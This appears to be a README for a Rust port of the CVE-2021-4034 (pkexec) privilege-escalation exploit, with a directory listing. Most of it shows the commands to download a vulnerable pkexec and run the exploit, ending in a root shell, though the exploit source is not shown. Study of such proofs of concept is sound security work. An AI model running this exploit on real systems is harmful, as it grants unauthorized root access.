port of CVE-2021-4034 exploit to Rust/cargo for my own edification### CVE-2021-4034 exploit but in rust, cause why not ?
Based on https://github.com/arthepsy/CVE-2021-4034/blob/main/cve-2021-4034-poc.c
```
$ ./download-and-unpack-vulnerable-pkexec.sh
*optionally enable setuid/setgid for testing*
$ cargo run --bin prep && cd playground && cargo run --bin pwn
Finished dev [unoptimized + debuginfo] target(s) in 0.00s
Running `target/debug/prep`
Finished dev [unoptimized + debuginfo] target(s) in 0.00s
Running `/home/defhacks/hack/cve-2021-4034/target/debug/pwn`
gconv() called
sh-5.1# /bin/id
uid=0(root) gid=1000(defhacks) groups=1000(defhacks)
sh-5.1#
```
[4.0K] /data/pocs/7516ba798bfbe8d9ac988bd8f703b115980b55f5
├── [ 270] Cargo.toml
├── [ 854] download-and-unpack-vulnerable-pkexec.sh
├── [ 615] README.md
└── [4.0K] src
├── [ 418] lib.rs
├── [ 754] main.rs
└── [1.3K] prep.rs
1 directory, 6 files